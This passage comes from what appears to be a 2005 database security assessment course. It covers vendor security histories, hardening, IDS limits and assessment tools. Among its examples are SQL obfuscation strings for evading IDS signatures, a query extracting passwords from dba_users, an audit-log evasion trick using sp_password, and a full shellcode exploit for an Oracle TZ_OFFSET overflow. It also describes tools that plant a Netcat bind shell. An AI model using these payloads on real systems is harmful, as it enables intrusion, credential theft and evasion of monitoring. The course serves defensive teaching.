vulnerabilities, mostly high risk issues.

2003: The SQL Slammer worm is unleashed on the world.

2002: 15 patches, many high risk, a flaw in the resolution service (soon to be
exploited by the Slammer worm)

As illustrated above, Microsoft SQL server either received a lot of attention a couple of
years ago, or the security profile has changed significantly since service pack 4. The 1
advisory released by Microsoft in 2005 suggests the latter is mainly responsible.
Microsofts plan for Yukon is to drastically reduce the attack surface and include further
built-in security features.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

18

Module 2: Popular Industry Database Solutions

Oracle Database Server


The first Oracle RDBMS to market was in 1979, by Relational Software, Inc. somewhat
cryptically going by the name of Oracle Version 2. Research on the Internet seems to
indicate that there was never a commercial Version 1, and that this may have been a
marketing ploy to suggest it was a mature product.

Product History
A brief history of Oracle:

In 1983, RSI was renamed Oracle Corporation to more closely align itself with its
flagship product. Oracle version 3, which had been re-written in the C
Programming Language, was released and supported commit and rollback
transaction functionalities. Platform support was extended to UNIX with this
version, which until then had run on Digital VAX/VMS systems.

In 1984, Oracle version 4 was released which supported read consistency.

Starting in 1985, Oracle began supporting the Client-Server model, with networks
becoming available in the mid 80s. Oracle version 5.0 supported distributed
querying.

In 1988, Oracle entered the products market and developed its ERP product Oracle Financials based on the Oracle Relational Database. Oracle version 6 was
released with support for PL/SQL, row-level locking and hot backups.

In 1992, Oracle version 7 was released with support for integrity constraints,
stored procedures and triggers.

In 1997, Oracle version 8 was released with support for object-oriented


development and multimedia applications.

In 1999, Oracle 8i was released which was more in tune with the needs of the
Internet (The i in the name stands for "Internet"). The database has a native Java
Virtual Machine.

In 2001, Oracle 9i was released with 400 new features including the facility to read
and write XML documents. 9i also provided an option for Oracle RAC, or Real

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

19

Module 2: Popular Industry Database Solutions

Application Clusters, a computer cluster database, as replacement for the Oracle


Parallel Server (OPS) option.

In 2003, Oracle 10g was released. The g stands for "Grid"; one of the sales points
of 10g is that it's "grid computing ready".
Source Wikipedia

Oracle is one of the largest and most complex of the RDBMSs available, and supports the
largest number of platforms including Windows Servers, HP-UX, AIX, Solaris, Linux and
even Mac OSX. A wide range of client connection options helps the programmer to deploy
Oracle easily within their network.
Oracles adaptation of SQL is PL/SQL, which contains several proprietary functions but is
otherwise very similar to Transact-SQL in that it provides a rich set of procedural
extensions to SQL. Oracle DBAs also have Java, a full-blown programming language, at
their disposal.
Oracle was the first of the RDBMS systems to run on Linux, and is most commonly seen
installed on *nix hosts. Oracles market dominance ws founded on its functionality and
flexibility, it gained ground during the .com boom and continues to strongly due to the
increasing uptake of J2EE in vertical market areas. Oracles share of the RDBMS market
is estimated at 41% by the IDC.

Security History

2005: 12 advisories allowing root privileges from a standard user account. (NGS
has 30 more vulnerabilities pending release for 10g)

2004: 11 advisories including root compromise from a low privileged account.

Prior to 2003: similar pattern of vulnerabilities.

The number of vulnerabilities in Oracle is often attributed to the amount of


functionality implemented, as well as the large number of product versions and
platforms supported.

Quantifying the number of vulnerabilities in Oracle is a fairly subjective matter. Oracle lists
68 Alerts on their website. However, the August patch in 2004 fixed 120 issues alone. In
total, there have been hundreds of vulnerabilities, many very closely inter-related.
Oracle products went by relatively un-researched until the late 90s, when Oracle started
orienting products for e-commerce on the Internet. At this stage they started gaining the

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

20

Module 2: Popular Industry Database Solutions

attention of hackers and researchers, particularly with their Internet-facing products such
as Oracle Application Server.
One explanation for the number of vulnerabilities in Oracle products (which have
addressed some key issues in 10g) is the sheer amount of functionality available.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

21

Module 2: Popular Industry Database Solutions

MySQL Databases
Development of MySQL began in 1994 at the early stages of the RDBMS market. The
earliest release was MySQL 1.0 on May 1995, when the dominant databases were Oracle,
Sybase and Informix. Since then it has been making quiet ground on the full-blown
commercial databases, and will soon be a seriously viable alternative for many
companies. The commercial license of MySQL provides a support contract, and licenses
the user to include a MySQL database within a black box product unlike the terms and
conditions of the GPL.
The most prolific use of MySQL is as a backend database to a web application, and many
PHP/Apache systems and open source applications such as Snort provide easy
integration with a MySQL database. However, MySQL can be found in numerous
environments and configurations, from high performance sites such as PokerRoom.com,
critical systems such as US missile test systems, and embedded systems (Motorola
handheld devices). Lycos, Yahoo and Sony are some other well-known names who have
moved to MySQL from the large RDBMS systems.
MySQL runs on a large number of Operating System platforms; it is worth taking a
moment to look at the list of available binaries listed on the website:

AIX

BSDi,

FreeBSD,

HP-UX

Linux,

Mac OS X

NetBSD

Netware

OpenBSD

OS/2 Warp

QNX,

Dec OSF

SGI IRIX

Solaris

SunOS

SCO OpenServer

SCO UnixWare

Tru64

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

22

Module 2: Popular Industry Database Solutions

Windows 95

Windows 98

Windows NT

Windows 2000

Windows XP

OpenVMS

Of course, as it is open source, enterprising users can always build it on other platforms.
MySQL 5.0 will move MySQL closer to the features found on an Enterprise RDBMS by
adding support for Views, Triggers, Stored Procedures, speed enhancements, and better
standards compliance.
In spite of the limited feature set found in MySQL it has still been the target of several high
risk vulnerabilities. As MySQL moves into the RDBMS market, it is logical to include it in
this course.

Security History


2005: 9 vulnerabilities including escalation through the GRANT command.

2004: 5 vulnerabilities including a remote authentication bypass vulnerability and a


local buffer overflow stemming from the same issue.

2003: 11 vulnerabilities

2002: 5 vulnerabilities

2000-2001: 6 vulnerabilities

The distribution of vulnerabilities is partly due to the increasing functionality in MySQL.


From this aspect, it can be hypothesized that many more are going to be found in later
versions.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

23

Module 2: Popular Industry Database Solutions

IBM DB2 Database Solutions


In many ways, IBM has been at the heart of the conception of the RDBMS. It was an IBM
employee who published the model describing the theory of relational databases (see E.F
Codd in module 1), and in doing so created the SQL language for data management.
DB2 is one of the oldest database systems in existence. IBM bought one of the other longlived databases systems, Informix, in 2001. Although SQL had been in existence before
the inception of DB2, it was the decision to make SQL the standard language for DB2 and
Oracles subsequent uptake that established the language.
Due to its legacy and integration with IBM products, DB2 is often seen deep within the
network backend, used to support IBMs Tivoli, Websphere and MQSeries products. It is
also very well supported, and provides an easy option for customers looking for an all-IBM
solution.
DB2 has passed the Common Criteria Evaluation Model, allowing it to be used on
Government networks.
So far, due to the location on production networks, DB2 along with many other IBM
products has largely escaped the attention of the security community.

Security History


Prior to 2004: 5 vulnerabilities, including one authenticated buffer overflow.

2004 onwards: Numerous Authenticated Exploits (about 20 between Q4 2004 and


Q1 2005) 1 Unauthenticated Remote Root (JDBC Applet Server)

This is attributed to the low profile of DB2 deep in the network. Many researchers
are more interested in databases which are accessible from the Internet. From NGS
initial research it is clear that there certainly are vulnerabilities in DB2.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

24

Module 2: Popular Industry Database Solutions

Sybase Database Solutions


Sybase was the first company to market a client-server RDBMS, maintained second place
behind Oracle before arranging to share the source code for the original database with
Microsoft. (Technically Oracle produced the first commercial RDBMS product) At this
point, the two solutions branched off from one another, with Sybase adding support for
multiple platforms.
Currently the main Sybase market is split between the Enterprise market with Sybase
Adaptive Server Enterprise, and the mobile market, with Sybase Adaptive Server
Anywhere. Many of the other products produced by Sybase are related to development for
mobile devices. References to Sybase in this course are referring to Sybase ASE, and
Sybase ASA will be referred to explicitly.
Sybase, like IBM and Oracle, has undergone the NSAs Common Criteria Evaluation and
passed the criteria to be run on Government networks.
A feature of Sybase which makes it quite unique is the support for SQLJ, which goes as
far as incorporation of an internal Java Virtual Machine. Java functions can be called from
SQL statements, and Java classes can be used in SQL data types. Java methods can
also be called in the same manner as stored procedures and database functions (SQLJ).
This functionality clearly makes development in Sybase very attractive for many users.

Security History

Sybase ASE has not attracted the attentions of the security community, which can
be attributed to its very low market share in the enterprise.

2005: 7 vulnerabilities, all buffer overflows.

Prior to 2005: 4 vulnerabilities, all buffer overflows.

During NGS assessment of Sybase ASA for a private research project, around 30
vulnerabilities were found. Clearly ASA had received even less exposure to the
security community (or less successful research). However, it was clear from the
assessment that Sybase has not addressed ASA security nearly as completely as
ASE..

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

25

Module 2: Popular Industry Database Solutions

Module Summary
According to research done by the IDC, Oracle databases currently hold 41% of the
database market, followed by a 30% share for IBM's DB2 and a 13% share for Microsoft's
SQL Server. Sybase comes fourth with a market share of 3%.
All databases discussed have had very disparate security histories. This is attributed to
their differing market shares and position within networks; the security community has
focussed on Microsofts SQL server (probably due to its marketing position) and Oracle
(due to its market share). DB2, meanwhile, has been largely overlooked, as it generally
exists deep within IBM-centric corporate networks to which the security community has not
been exposed.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

26

Module 3: Database Integration into Business Solutions

Database Integration into Business


Solutions

Module Abstract
The integration of a database into a network can affect the process of database security
assessment or taint the results and overall outcome. Considerations made during the
installation of the Operating System and database product can provide a more secure
platform for deployment. Application and usability requirements will affect the choice of
connectivity and communication endpoints used by a database and in turn affect the
choice of assessment techniques.
This module describes the integration decisions faced by system architects and database
administrators, outlining areas that can affect the process of database security
assessment.

Module Overview
This course module consists of the following topics:

Database Installation & Product Options

Hardening the OS for Database Installation

Database External Connectivity Considerations

Deploying Network Protection for Databases

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

27

Module 3: Database Integration into Business Solutions

Database Installation & Product Options


At the time of writing, IBM, Microsoft and Oracle are all competing in the same field of
features, for grid computing, web services and XML support. However, all of the major
databases have unique features, which may make them a preferred selection. All of this
functionality adds to the potential security flaws available to an attacker.

Object-Relational Technology
Oracle, Sybase and DB2 support object-relational technology as well as Java (with Virtual
Machines built into the database). This allows programming to take place within the
database; this may be essential to apply fundamental logic that automatically affects all
applications using the database, making the above layers easier to alter and more
business-independent. Microsoft will support CLR for SQL Server 2005, the familiar
Microsoft .NET answer to Java.

Development Platform Selection


In some cases, the choice of database may already be made for the developer through
their selection of development platforms. While the key technologies (XML, SOAP, SQL)
are independent of development environment, the tools and APIs provided by vendors are
not, and tend to favour a particular environment. C# programmers with a Windows-based
environment and ASP / .Net programming skills will have a simple choice of MS SQL
Server. J2EE developers will find Oracle and DB2 natural choices.

Environment
The major database vendors all provide corresponding products for integration with the
database. DB2 underpins most of the IBM products such as IBM-MQ, Tivoli and
Websphere. From experience, DB2 is seen deployed almost exclusively in conjunction
with other IBM products.
Oracle is most commonly seen installed on a UNIX platform, generally Red Hat Linux or
Solaris. Oracle installations are usually in very demanding environments (high availability,
functionality and configurability demands), and e-commerce systems implementing Oracle
Application Server are increasingly common over the past few years.
Microsoft SQL Server as already mentioned is the .Net / ASP answer to J2EE, and is
found in e-commerce solutions and windows domains.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

28

Module 3: Database Integration into Business Solutions

Low-budget installations using Linux, Apache / PHP generally use MySQL due to its price,
system requirements and simple installation and setup.
Although all the vendors develop for mobile platforms, Sybase ASA is the choice database
for mobile platforms. Sybase ASE seems to be in use in many of the older client-server
models found internally in companies and also has a strong following on Wall Street.

Overall Functionality
MySQL has only a fraction of the features found in enterprise databases, and is still
emerging from the 10-year-old model of databases as a passive container for data. This
makes it suitable for simple environments such as a simple web application or desktop
database, but inappropriate for multi-tiered environments and complex data management
rules, where the database has to implement business logic, import and export data, and
provide other functions and services in the environment.

Security Relevance
What does this have to do with security?
The pattern of security vulnerabilities in all of these databases makes an interesting
comparison. The decision to explore database security was made relatively recently, with
major advances in security made after the e-commerce revolution. In gauging the security
of a product, a prospective buyer should consider the following points:

How much functionality is there in the product?


A product which contains little functionality will be less susceptible to
vulnerabilities. Oracle has a huge amount of functionality, and this has lead to a
huge amount of vulnerabilities, both historically and recently. MySQL, meanwhile,
has only been affected by only a handful of vulnerabilities. Conversely, MySQL
lacks some of the security features of Oracle, such as rich audit capabilities.

Is the functionality recent?


Recent functionality is likely to lead to new vulnerabilities. Oracle has been adding
functionality consistently with each new release, and the supply of vulnerabilities
has been steady. SQL Server 2000 has not changed much since its release, and
vulnerabilities have consequently dried up considerably.

How close does the product sit to the Internet?


Hackers and researchers are primarily interested in Internet-facing or Internetaccessible systems. Databases such as DB2 reside deep in corporate networks.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

29

Module 3: Database Integration into Business Solutions

They may be key resources, but market share and importance are not measures
of a products popularity with the security community. (This is starting to change
as the number of vulnerabilities found in major products is drying up)

Has the product been researched by the security community? Are there many
historical security bugs?
Many products are formally reviewed. Generally, this does not give an indication
of security. A good case in point is Sybase. Sybase is evaluated to level 4 of the
Common Criteria standard, which is viewed as secure enough for deployment in
UK Government networks. About 2 years ago, Sybase products had been
unaffected by publicised security flaws. This seems to count in its favour, but the
truth lies in its low popularity as a target; research on Sybase ASA and Sybase
ASE revealed the usual cross-section of flaws found in other databases.

How popular is the product?


Following on from the point above, if a product is not popular it is unlikely to have
been investigated much. Searching for an out of the way product and attempting
to gain security through obscurity will not work in the long run. Long term, the
reverse is likely to be true.

A good example of a reliable security history is Microsofts SQL Server.


Microsoft products always receive a great deal of attention from the security community.
Following the easy pickings of IIS, the security community was drawn to MSSQL by its
popular use in e-commerce and the Microsoft name. Clearly, time invested in searching for
MSSQL security vulnerabilities would pay off, and the release of advisories fuelled further
interest. This resulted in a large amount of vulnerabilities around the release of SQL
Server 2000. This means that MSSQL has now been well researched, and the low
hanging fruit has been resolved. Over the last year, 1 advisory was published, by
Microsoft. Microsoft have an easy patch application system, and clampdown guides are
readily available from a variety of sources.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

30

Module 3: Database Integration into Business Solutions

Hardening the OS for Database Installation


It is standard industry practice to employ a baseline configuration for server platforms. In
cases where these are used to support databases, some extra steps are required.
Security lockdown documents for each database and OS are not provided in this course,
however, some common issues from experience in consulting are presented here:

Windows Platforms

Processes do not run as low-privileged users by default as they do on UNIX, using


instead the system account. The database service should be run as a lowprivileged user; this is often possible with a standard user account with the Log
on as a Service privilege.

Databases should be installed onto NTFS volumes to allow file security


restrictions on the database user account. MS SQL server will set appropriate
ACLs on files during installation.

Remove installation files

Apply encryption to data files (e.g. EFS)

Unix Platforms

It is possible to configure a very secure base operating system for installation, as


the system should not listen on any ports other than an administration port.

The database user should not have restricted access however it may be
necessary to review the file system and remove further privileges if non-default
files are present on the system.

Apply encryption to data files.

A key requirement for both which is often overlooked is data import and export. The file
permissions on XML documents are crucial to stop unauthorised modification, yet these
are often not considered. OS hardening should include permissions checks on all external
resources the database will access.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

31

Module 3: Database Integration into Business Solutions

Setting up a baseline configuration generally follows an exhaustive checklist covering


auditing, password policy, physical (local) security, services, removal of default registry
entries and files, and user accounts. There are many guidelines on the Internet to provide
this for all operating systems. Two good sources are:
http://www.nsa.gov/research/resea00003.cfm
http://www.microsoft.com/technet/Security/default.mspx

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

32

Module 3: Database Integration into Business Solutions

Database External Connectivity Considerations


Databases have a number of requirements for network connectivity in a business
environment, for example:

Remote management of the server operating system

Enterprise management of the database

SNMP-based management

Backups and replication

Clustering / Load Balancing

Client access by users

Client access by servers

Database links

Integration with a domain / LDAP

Web services (e.g. Oracle queries for XML data port, 8080 / 2100)

Databases are often the most critical systems on a network these considerations will be
relevant during the rest of the course and in exploiting vulnerabilities. The amount of
external access required for a database should be reviewed from the installation. Oracle,
for example, may listen on any of 24 ports depending on the installation options selected;
if XML queries are not needed, then port 2100 (queries over FTP) and 8080 (queries over
HTTP) should not be listening. If SNMP is not used, the corresponding ports (DBSNMP
may use various ones) should not be open.
The most common connectivity required internally is as the server for the data housed; this
will require allowing clients to connect directly to the port and run queries. For Internet
services, the database will communicate with the application server, and internal systems
for data management (e.g. live feeds, XML updates).
External requirements are not limited to the network and could be stretched to include
communication with the host operating system. Examples are authentication and file
access, for example querying, importing and exporting XML files, or providing web
services.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

33

Module 3: Database Integration into Business Solutions

Deploying Network Protection for Databases

Firewalls and Network Placement


It seems common sense to place a primary database deep in the internal network, and
restrict port access to the database ports and as few others as possible. Databases
supporting a web application are often located in a purpose-built web services DMZ. At the
height of SQL Injection this was a fairly common practice.
Internal databases are generally not very well protected on the network. From experience
this can be attributed to the complications of allowing the DB server domain membership,
support for remote administration and backup protocols, automated query and update
procedures, and allowing query access from a variety of client types and locations. These
may all require different ports, which make port filtering too much of a complication.
At the very minimum, database ports should be filtered from the Internet. Databases are
clearly not always deep in the internal network. A report by CAIDA (Cooperative
Association for Internet Data Analysis) estimates that Slammer had infected 75,000
machines within 10 minutes of the attack. This included MSDE, the Desktop Engine, so
the analysis is not an entirely accurate reflection on the corporate SQL servers affected;
however, it is clear that many SQL Servers were hit by the worm.
At a minimum, the following protection is possible:

Backend OS management on an administrative VLAN

Filtered access to specific groups for the database and database ports.

Intrusion Detection
IDS may be a useful addition to the security of the database. As always with an IDS, the
deployment must be mindful of its limitations.
An IDS is signature-based, requiring an exact match for its signature. The signature
cannot be too generic without bringing up false positives.
An IDS cannot handle large volumes of traffic without dropping packets
If the deployment is network-based, encrypted traffic cannot be analysed.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

34

Module 3: Database Integration into Business Solutions

Databases have more features which complicate an IDS deployment:

The SQL syntax is flexible and loosely defined, with many equivalent formats

Databases contain many string manipulation functions, which may affect the
format of data.

SQL may vary considerably between databases

Database connections may be over encrypted channels

As an example, assume user Kevin should only be able to see his own salary. This may
be visible through a web application, a thick client app or a database view. What hed like
to do is execute the following statement, preferably without tripping an IDS or audit log:
Select name,salary from finances where name = Marcus
This is equivalent to:
sEleCt naMe,saLary frOm FiNaNcEs where nAmE = Marcus
This is not particularly well hidden and most checks should pick it up. The attacker could
try spacing it over a multi-line query if the situation allows:
select name, salary from finances
where -- name = 'Kevin
name = 'Marcus'
or if the user can enter a LIKE statement, they could try:
select * from finances where name LIKE '%M%a%%%%r%c%u%s%'
select * from finances where name LIKE '%Marcu%'
A much more interesting method would be to use c-style comments, which can be entered
anywhere in the white spaces (or anywhere for MySQL, e.g. sel/*aaa*/ect):
Select/**/name,salary/*aaa*/from/*aaa*/finances/*aaa*/where/*aaa*/n
ame = 'Marcus'
or even hide the name of the employee, using Oracles concatenator || for example)
Select/**/name,salary/*aaa*/from/*aaa*/finances/*aaa*/where/*aaa*/n
ame = 'Mar||/*aaa*/cus'

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

35

Module 3: Database Integration into Business Solutions

(This would also allow users to bypass signatures looking for banned functions such as
xp_ etc.)
Databases contain many of their own functions for string manipulation. Oracle, for
example, has CHR(), REVERSE, TRANSLATE, REPLACE, SUBSTR and more. So in
Oracle, users could run:
SELECT * from finances where name = REVERSE('sucraM')
SELECT * from finances where name = (chr(77) || chr(97) || chr(114)
|| chr(99) || chr(117) || chr(115))
This would make detecting an exploit string virtually impossible, particularly if the attacker
were using a combination of the above. Oracles CHR() allows multiple representations of
each character, so chr(65), chr(321), chr(577), chr(4294967105) all equal A.
As an illustration of the difficulty in using signature-based detection, the following is a
working exploit for the TZ_OFFSET overflow in Oracle. This will cause an Oracle server
running under Windows to use the 'WinExec' API to execute a 'ping' command:
Select
TZ_OFFSET(rpad(chr(144),156,chr(144))||''||chr(235)||chr(3)||'Z'||c
hr(235)||chr(30)||chr(232)||chr(248)||chr(255)||chr(255)||chr(255)|
|chr(187)||'3UG'||chr(1)||chr(129)||chr(235)||chr(1)||chr(1)||chr(1
)||chr(1)||chr(139)||chr(11)||chr(187)||'\'||chr(224)||chr(25)||chr
(16)||chr(139)||chr(27)||'PQ'||chr(255)||chr(211)||chr(195)||'RX3'|
|chr(219)||chr(131)||chr(192)||'gPPPPPP'||chr(131)||chr(192)||chr(7
)||chr(136)||chr(24)||chr(131)||chr(192)||chr(17)||chr(136)||chr(24
)||chr(131)||chr(192)||chr(16)||chr(136)||chr(24)||chr(131)||chr(19
2)||chr(22)||chr(136)||chr(24)||'X'||chr(232)||chr(192)||chr(255)||
chr(255)||chr(255)||'['||chr(131)||chr(195)||')S'||chr(255)||chr(20
8)||'X'||chr(131)||chr(192)||chr(8)||chr(232)||chr(176)||chr(255)||
chr(255)||chr(255)||chr(255)||chr(208)||'PZXR'||chr(131)||chr(192)|
|chr(25)||'P'||chr(232)||chr(161)||chr(255)||chr(255)||chr(255)||'Z
Z3'||chr(219)||'SR'||chr(255)||chr(208)||'WinExecZGetCurrentThreadZ
TerminateThreadZcmd'||chr(9)||'/c'||chr(9)||'ping'||chr(9)||'192.16
8.1.4Z'||rpad(chr(204),83,chr(204))||chr(131)||chr(235)||chr(100)||
chr(131)||chr(235)||chr(100)||chr(131)||chr(235)||chr(100)||chr(131
)||chr(235)||chr(83)||chr(131)||chr(235)||chr(33)||chr(255)||chr(22
7)||chr(235)||chr(239)||chr(235)||chr(237)||chr(243)||chr(6)||chr(8
5)||chr(96))
from dual;
(Additional information on this vulnerability may be found at
http://www.ngssoftware.com/advisories/ora-tzofstbo.txt)

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

36

Module 3: Database Integration into Business Solutions

In SQL server, the statement exec will accept hexadecimal encoding, so this would
perform the same select name,salary from finances where name = Marcus:
declare @q varchar(8000)
select @q =
0x73656c656374206e616d652c73616c6172792066726f6d2066696e616e636573
exec(@q)
In Oracle, the same effect could be achieved using EXECUTE IMMEDIATE:
declare
l_cnt
varchar2(20);
begin
execute immediate 'sel'||'ect pas'||'sword'||' from dba'||'_users
where user'||'_id =0'
into l_cnt;
dbms_output.put_line(l_cnt);
end;
While there are clearly many methods of representing the same query, one more
interesting example, which affects MS-SQL Servers audit log, is sp_password. SQL
server protects users passwords by erasing use of sp_password from its log files, and
instead logging:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security
reasons.
The problem is SQL server only looks for the occurrence of the string, not the context. This
means that the following works:
select * from finances where name = Marcus --sp_password
Ultimately, this should show that IDS (or IPS) should be tightly integrated with the
database, as the most reliable way of detecting the intrusion is through a database error.
As in any network situation, the presence of an IDS is a useful addition to security, not a
primary defence mechanism.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

37

Module 3: Database Integration into Business Solutions

Module Summary
This module covers common considerations and requirements for databases in a business
network. As databases move into the category of network Swiss Army Knife, more and
more functionality is available. A brief discussion follows on the security implications of this
new functionality, and how database vendors have fared historically. Technical elements
are touched upon with firewall and IDS considerations.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

38

Module 4: Building a Database Assessment Toolkit

Building a Database Assessment Toolkit

Module Abstract
Like any job we can approach database assessment unprepared and without the right
tools but we will generally not expect to achieve very much. Some aspects of database
assessment require only the regular tools and utilities used by network hackers the world
over. However, in many cases, it pays to have specific resources to achieve our goals
and in some circumstances, specific drivers or utilities are mandatory for connection to a
database system. Database enumeration and vulnerability assessment tools have been
developed within the commercial and open source / freeware sectors to enhance database
assessment productivity.
This module will outline key utilities to build an effective database assessment toolkit and
provide insightful powerful techniques that can save time and effort along the way.

Module Overview
This course module consists of the following topics:

General Database Discovery Tools

Purpose Built Database Enumeration Software

Database Vulnerability Scanners

Vendor Client Connectivity Utilities

Using Offline Database Servers for Assessment

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

39

Module 4: Building a Database Assessment Toolkit

General Database Discovery Tools


It is often overlooked that normal network assessment tools can, in most cases, do a good
job at detecting and diagnosing problems with default database installations. The best of
breed vulnerability scanners are able to highlight problems with Oracle, Microsoft SQL,
MySQL and others in an efficient manner when the service can be detected correctly on a
host. In the later module Unauthenticated Database Enumeration we will see that using
generic vulnerability tools such as Nmap and Amap can be used to discover databases
within a network environment.

Using Nessus
Nessus is the security professionals free tool of choice (http://www.nessus.org) and can
find thousands of publicly known vulnerabilities relatively quickly. It runs on UNIX based
platforms in a client-server mode, which permits either normal host to host scanning or a
distributed network scanning option. It is an open source product and as such vulnerability
plug-ins are developed and supported within the security community as a whole. In spite
of this, the tool is kept up-to-date by dedicated supporters and should form part of any
security assessors toolkit. A quick search of the Nessus plug-ins shows that it contains
vulnerability checks for each of the databases under study in this course:
MS SQL Server

Sybase Databases

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

40

Module 4: Building a Database Assessment Toolkit

Oracle Databases

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

41

Module 4: Building a Database Assessment Toolkit

MySQL Databases

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

42

Module 4: Building a Database Assessment Toolkit

IBM DB2 Databases

Using NGS Typhon III


Typhon III is NGS Softwares standard vulnerability assessment product. Despite NGSs
leading database assessment scanners the NGS Squirrel suite (more on this later),
Typhon III can highlight vulnerable database systems within a network..
Typhon can scan every machine on a network, including a variety of operating systems,
network devices, databases and even bespoke applications. Typhon is more than just
another vulnerability scanner however. The application makes use of unique spidering
technology that allows it to scan to a deeper level, quicker. Typhon III is uniquely placed to
assess the security of organisations and is supported by the NGS Research team, two of
which were voted the best security vulnerability researchers in the world by Information
Security magazine.
Typhon Checking for MS SQL Bugs

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

43

Module 4: Building a Database Assessment Toolkit

Typhon discovering serious MS SQL bugs.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

44

Module 4: Building a Database Assessment Toolkit

Typhon checking for MySQL bugs.

Typhon checking for Oracle bugs.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

45

Module 4: Building a Database Assessment Toolkit

Typhon finding default Oracle accounts.

For detailed database assessment NGS recommend their NGS Squirrel database suite to
fully assess Oracle, MS SQL, Sybase and IBM DB2.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

46

Module 4: Building a Database Assessment Toolkit

Purpose Built Database Enumeration Software


There are many individual tools that often available for free to enumerate data from
specific database systems. This can range from checking default content and database
versioning to cracking password hashes. The following tools detailed in each subsection
are recommended as part of a database assessment toolkit.

Oracle Auditing Tools (OAT)


OAT is freely available for download from the Internet (http://www.cqure.net) and contains
several tools to aid with the assessment of Oracle database installations. The following
list represents the tool available:

OraclePWGuess - A dictionary attack tool that can be utilised with user supplied
dictionaries or with the built in support for finding default accounts. This tool will
effectively determine if default user names and passwords are in use.

OracleQuery A command line SQL query tool for Oracle that performs in a
similar fashion to Oracles own SQL Plus.

OracleSamDump - Connects to the Oracle server and executes a TFTP request,


to fetch the pwdump2 binary from the attackers TFTPRoot directory. pwdump2 is
executed and the result is returned to the TFTP server.

OracleSysExec - Can be run in interactive mode, letting the user specify


commands to be executed by the server or configured in automatic mode. In
automatic mode, Netcat is uploaded using TFTP to the server and a bind shell
payload is deployed.

OracleTNSCtrl - Is used to query the TNS Listener for various information in a


similar way to the Oracle Listener Control Utility or TNSCmd.pl.

OAT either uses CREATE LIBRARY to be able to access the WinExec function in the
kernel32.dll on Microsoft Windows platforms or the SYSTEM call in libc on UNIX based
systems. Having access to these resources makes it possible to execute any command
against the server in the ways described. Finding a default password for a default account
that has the CREATE LIBRARY privilege will permit this operation during assessment.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

47

Module 4: Building a Database Assessment Toolkit

Oracle Getsids
The Oracle SID enumeration tool from cqure.net simply queries the TNS Listener and
extracts the database SIDs from the produced output. This can be an extremely fast way
of determining the database SIDs from an Oracle installation.

Oracle TNScmd.pl
This small Perl script available from http://www.jammed.com/~jwa/hacks/security/tnscmd/
is able to query the Oracle TNS Listener providing that a Listener password has not been
set and that Admin Restrictions have not been applied. This is the default Listener
condition and is rarely changed. By issuing commands such as version and services it is
possible to enumerate sensitive data regarding the Oracle installation.

Oracle Listener Security Check


A simple tool (http://www.integrigy.com) that checks the Oracle TNS Listener for a Listener
Password, Listener Logging and Oracle TNS Admin Restrictions.
The following
screenshot shows the tool running against a default Oracle installation:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

48

Module 4: Building a Database Assessment Toolkit

Oracle Security Check


The Oracle Security Check is a GUI based tool (http://www.ensyncsolutions.com) that can
check for default Oracle usernames and passwords against a database installation.

Oracle Password Cracker


The Oracle Password Cracker (http://home.earthlink.net/~adamshalon) is a dictionary
attack based Oracle password cracker. It is written in PL/SQL and uses the ALTER USER
method to encrypt username/password pairs to then compare with a passed in hash.
It has some serious drawbacks as its use can cause serious resource problems to the
database it is run on. Often it is advisable to run this tool an a separate database

Oracle Oscanner
Oracle Security Scanner, or Oscanner (http://www.cqure.net) is a Java based tool for
assessing basic security options within Oracle. It is a newer incarnation or improvement
on the OAT packages. It can check for the following items amongst others:

Database SID Enumeration

Password Audit

Version Enumeration

Account Roles and Privilege Enumeration

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

49

Module 4: Building a Database Assessment Toolkit

SQLRecon
SQLRecon (http://www.sqlsecurity.com) performs scans of the local network in order to
identify all of the Microsoft SQL Server/MSDE installations in the enterprise.
Due to the proliferation of personal firewalls, inconsistent network library configurations,
and multiple-instance support, SQL Server installations are becoming increasingly difficult
to discover, assess, and maintain. SQLRecon is designed to remedy this problem by
combining all known means of SQL Server/MSDE discovery into a single tool.

SQLPing / SQLPing2
SQLPing / SQLPing2 (http://www.sqlsecurity.com) has historically been a favourite
amongst network assessors for finding Microsoft SQL Servers. SQLPing2 is GUI Version
of SQLPing and includes IP range scanning and brute forcing password checking. It is
